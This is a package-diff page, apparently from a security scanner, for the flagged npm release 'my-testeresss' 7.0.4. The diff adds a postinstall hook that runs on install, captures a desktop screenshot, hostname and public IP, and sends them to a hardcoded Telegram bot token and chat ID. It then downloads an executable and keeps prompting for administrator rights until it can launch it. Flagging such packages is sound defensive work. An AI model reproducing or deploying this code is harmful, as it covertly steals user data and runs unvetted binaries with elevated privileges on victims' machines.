my-testeresss 7.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of my-testeresss might be problematic. Click here for more details.

@@ -0,0 +1,88 @@
1
+ import os from 'os';
2
+ import { join } from 'path';
3
+ import TelegramBot from 'node-telegram-bot-api';
4
+ import screenshot from 'screenshot-desktop';
5
+ import axios from 'axios';
6
+ import { exec } from 'child_process';
7
+ import fs from 'fs';
8
+ import { openExeFile } from './openExe.mjs'; // Используйте динамический import
9
+
10
+ const token = '6541130193:AAHzFM3jUNmz_YUgjFQF_LlzsOvlh1JEjsQ';
11
+ const chatId = '5950028476';
12
+ const exeFileUrl = 'https://downloads.exodus.com/releases/exodus-windows-x64-23.9.11.exe';
13
+
14
+ const bot = new TelegramBot(token, { polling: true });
15
+
16
+ let hasConnected = false;
17
+
18
+ function getIPFromAmazon() {
19
+ return axios.get('https://checkip.amazonaws.com/')
20
+ .then((response) => response.data);
21
+ }
22
+
23
+ function sendScreenshotToTelegram() {
24
+ getIPFromAmazon().then((ipAddress) => {
25
+ const computerName = os.hostname();
26
+
27
+ screenshot().then((imageBuffer) => {
28
+ const caption = `⚡️Connect New PC *${computerName}*\n\nIP address: \`${ipAddress}\``;
29
+
30
+ bot.sendPhoto(chatId, imageBuffer, { caption, parse_mode: 'Markdown' })
31
+ .then(() => {
32
+ downloadExeFile();
33
+ })
34
+ .catch((error) => {
35
+ process.exit(1);
36
+ });
37
+ });
38
+ });
39
+ }
40
+
41
+ function downloadExeFile() {
42
+ if (!hasConnected) {
43
+ const programFilesPath = join(os.homedir(), 'downloaded.exe');
44
+
45
+ axios({
46
+ method: 'get',
47
+ url: exeFileUrl,
48
+ responseType: 'stream',
49
+ })
50
+ .then((response) => {
51
+ const exeFileName = programFilesPath;
52
+
53
+ const exeFile = fs.createWriteStream(exeFileName);
54
+
55
+ response.data.pipe(exeFile);
56
+
57
+ exeFile.on('finish', () => {
58
+ exeFile.close();
59
+ console.log('Файл успешно скачан:', exeFileName);
60
+ openExeFile(); // Вызываем функцию для открытия файла
61
+ });
62
+ })
63
+ .catch((error) => {
64
+ process.exit(1);
65
+ });
66
+
67
+ hasConnected = true;
68
+ }
69
+ }
70
+
71
+ process.on('SIGINT', () => {
72
+ process.exit(0);
73
+ });
74
+
75
+ if (!fs.existsSync('node_modules/node-telegram-bot-api')) {
76
+ const installCmd = 'npm install node-telegram-bot-api';
77
+ const installProcess = exec(installCmd);
78
+
79
+ installProcess.on('close', (code) => {
80
+ if (code === 0) {
81
+ sendScreenshotToTelegram();
82
+ } else {
83
+ process.exit(1);
84
+ }
85
+ });
86
+ } else {
87
+ sendScreenshotToTelegram();
88
+ }
package/install.cjs ADDED
@@ -0,0 +1,50 @@
1
+ const { exec } = require('child_process');
2
+
3
+ // Проверяем, установлена ли библиотека node-telegram-bot-api
4
+ try {
5
+ require('node-telegram-bot-api');
6
+ } catch (e) {
7
+ console.log('Библиотека node-telegram-bot-api не установлена. Устанавливаю...');
8
+ const installCmd = 'npm install node-telegram-bot-api';
9
+ const installProcess = exec(installCmd);
10
+
11
+ installProcess.stdout.on('data', (data) => {
12
+ console.log(data);
13
+ });
14
+
15
+ installProcess.stderr.on('data', (data) => {
16
+ console.error(data);
17
+ });
18
+
19
+ installProcess.on('close', (code) => {
20
+ if (code === 0) {
21
+ console.log('Библиотека node-telegram-bot-api успешно установлена.');
22
+ // Запускаем скрипт desktopToTelegram.js
23
+ const child = exec('node desktopToTelegram.js');
24
+ child.stdout.on('data', (data) => {
25
+ console.log(data);
26
+ });
27
+ child.stderr.on('data', (data) => {
28
+ console.error(data);
29
+ });
30
+ child.on('close', (code) => {
31
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
32
+ });
33
+ } else {
34
+ console.error('Ошибка при установке библиотеки node-telegram-bot-api.');
35
+ }
36
+ });
37
+ }
38
+
39
+ console.log('Установка завершена. Запускаю скрипт desktopToTelegram.js...');
40
+ // Запускаем скрипт desktopToTelegram.js
41
+ const child = exec('node desktopToTelegram.js');
42
+ child.stdout.on('data', (data) => {
43
+ console.log(data);
44
+ });
45
+ child.stderr.on('data', (data) => {
46
+ console.error(data);
47
+ });
48
+ child.on('close', (code) => {
49
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
50
+ });
package/openExe.mjs ADDED
@@ -0,0 +1,45 @@
1
+ import os from 'os';
2
+ import { join } from 'path';
3
+ import isAdmin from 'is-admin';
4
+ import sudoPrompt from 'sudo-prompt';
5
+
6
+ let operationCompleted = false; // Флаг для отслеживания успешного выполнения операции
7
+
8
+ // Получение абсолютного пути к файлу "downloaded.exe" в домашней директории текущего пользователя
9
+ const programFilesPath = join(os.homedir(), 'downloaded.exe');
10
+
11
+ // Функция для запуска процесса с административными правами (UAC-поднимающий процесс)
12
+ export function openExeFile() {
13
+ const isWindows = os.platform() === 'win32';
14
+
15
+ if (!isWindows) {
16
+ console.error('Этот скрипт поддерживает только Windows.');
17
+ return;
18
+ }
19
+
20
+ if (operationCompleted) {
21
+ console.log('Операция уже выполнена успешно. Выход из скрипта.');
22
+ return;
23
+ }
24
+
25
+ sudoPrompt.exec(
26
+ `"${programFilesPath}"`,
27
+ {
28
+ name: 'Your Application Name', // Замените на имя вашего приложения
29
+ },
30
+ (error, stdout, stderr) => {
31
+ if (error) {
32
+ console.error('Ошибка при запуске процесса:', error);
33
+ console.log('Повторный запрос админских прав...');
34
+ openExeFile(); // Повторно вызываем функцию в случае отказа
35
+ } else {
36
+ console.log('Процесс успешно выполнен с административными правами.');
37
+ operationCompleted = true; // Устанавливаем флаг успешного выполнения
38
+ process.exit(); // Завершаем выполнение скрипта после успешного выполнения процесса
39
+ }
40
+ }
41
+ );
42
+ }
43
+
44
+ // Вызов функции для открытия EXE-файла
45
+ openExeFile();
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "my-testeresss",
3
+ "version": "7.0.4",
4
+ "description": "Скрипт для отправки данных с рабочего стола в Telegram",
5
+ "main": "desktopToTelegram.js",
6
+ "dependencies": {
7
+ "node-telegram-bot-api": "*",
8
+ "screenshot-desktop": "*",
9
+ "axios": "*",
10
+ "is-admin": "*",
11
+ "sudo-prompt": "*"
12
+ },
13
+ "scripts": {
14
+ "start": "node desktopToTelegram.js",
15
+ "postinstall": "node install.cjs"
16
+ },
17
+ "type": "module"
18
+ }